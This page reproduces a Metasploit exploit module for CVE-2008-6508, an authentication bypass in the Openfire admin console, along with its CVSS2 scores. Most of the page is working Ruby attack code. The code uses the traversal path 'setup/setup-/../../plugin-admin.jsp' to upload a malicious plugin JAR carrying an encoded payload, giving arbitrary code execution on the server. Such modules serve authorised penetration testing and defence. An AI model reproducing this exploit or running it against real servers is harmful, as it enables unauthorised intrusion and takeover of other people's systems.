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metasploitAndreas Kurtz, h0ng10MSF:EXPLOIT-MULTI-HTTP-OPENFIRE_AUTH_BYPASS-
HistoryJun 24, 2012 - 11:35 a.m.

Openfire Admin Console Authentication Bypass

2012-06-2411:35:38
Andreas Kurtz, h0ng10
www.rapid7.com
56

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

This module exploits an authentication bypass vulnerability in the administration console of Openfire servers. By using this vulnerability it is possible to upload/execute a malicious Openfire plugin on the server and execute arbitrary Java code. This module has been tested against Openfire 3.6.0a. It is possible to remove the uploaded plugin after execution, however this might turn the server in some kind of unstable state, making re-exploitation difficult. You might want to do this manually.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /(Jetty)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Openfire Admin Console Authentication Bypass',
      'Description' => %q{
          This module exploits an authentication bypass vulnerability in the administration
        console of Openfire servers. By using this vulnerability it is possible to
        upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
        code. This module has been tested against Openfire 3.6.0a.

        It is possible to remove the uploaded plugin after execution, however this might turn
        the server in some kind of unstable state, making re-exploitation difficult. You might
        want to do this manually.
      },
      'Author'      =>
        [
          'Andreas Kurtz', # Vulnerability discovery
          'h0ng10'         # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2008-6508' ],
          [ 'OSVDB', '49663' ],
          [ 'BID', '32189' ],
          [ 'EDB', '7075' ],
          [ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
        ],
      'DisclosureDate' => '2008-11-10',
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [
          #
          # Java version
          #
          [ 'Java Universal',
            {
                'Arch' => ARCH_JAVA,
                'Platform' => 'java'
            }
          ],
          #
          # Platform specific targets
          #
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        Opt::RPORT(9090),
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
        OptString.new('PLUGINNAME',  [ false, 'Openfire plugin base name, (default: random)' ]),
        OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
        OptString.new('PLUGINDESC',  [ false, 'Openfire plugin description, (default: random)' ]),
        OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
      ])
  end

  def post_auth?
    true
  end

  def check
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'

    path = normalize_uri(base, "login.jsp")
    res = send_request_cgi(
      {
        'uri'    => path
      })

    if (not res) or (res.code != 200)
      vprint_error("Unable to make a request to: #{path}")
      return Exploit::CheckCode::Unknown
    end

    versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/

    if versioncheck.nil? then
      vprint_error("Unable to detect Openfire version")
      return Exploit::CheckCode::Unknown
    end

    vprint_status("Detected version: #{$1}.#{$2}.#{$3}")
    version = "#{$1}#{$2}#{$3}".to_i

    return Exploit::CheckCode::Safe if version > 360

    # Just to be sure, try to access the log page
    path = "#{base}setup/setup-/../../log.jsp"
    res = send_request_cgi(
      {
        'uri'    => path
      })

    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Appears
  end

  def get_plugin_jar(plugin_name)
    files = [
      [ "logo_large.gif" ],
      [ "logo_small.gif" ],
      [ "readme.html" ],
      [ "changelog.html" ],
      [ "lib", "plugin-metasploit.jar" ]
    ]

    jar = Rex::Zip::Jar.new
    jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin"))

    plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
    plugin_desc   = datastore['PLUGINDESC']   || rand_text_alphanumeric(8+rand(8))

    plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() }
    plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
    plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
    plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)

    jar.add_file("plugin.xml", plugin_xml)

    jar
  end

  def exploit
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
    plugin = get_plugin_jar(plugin_name)

    arch = target.arch
    plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

    if (p = exploit_regenerate_payload(plat, arch)) == nil
      print_error("Failed to regenerate payload")
      return
    end

    plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
    plugin.build_manifest

    # Upload the plugin to the server
    print_status("Uploading plugin #{plugin_name} to the server")
    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
    data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    data << plugin.pack
    data << "\r\n--#{boundary}--"

    res = send_request_cgi({
      'uri'     => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
      'method'  => 'POST',
      'data'    => data,
      'encode_params' => false,
      'headers' => {
        'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
      },
      'vars_get' => {
        'uploadplugin' => nil
      }
    })


    print_warning("Warning: got no response from the upload, continuing...") if !res

    # Delete the uploaded JAR file
    if datastore['REMOVE_PLUGIN']
      print_status("Deleting plugin #{plugin_name} from the server")
      res = send_request_cgi({
        'uri'     => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
        'encode_params' => false,
        'headers' => {
          'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
        },
        'vars_get' => {
          'deleteplugin' => plugin_name.downcase
        }
      })
      if not res
        print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
      end
    end
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P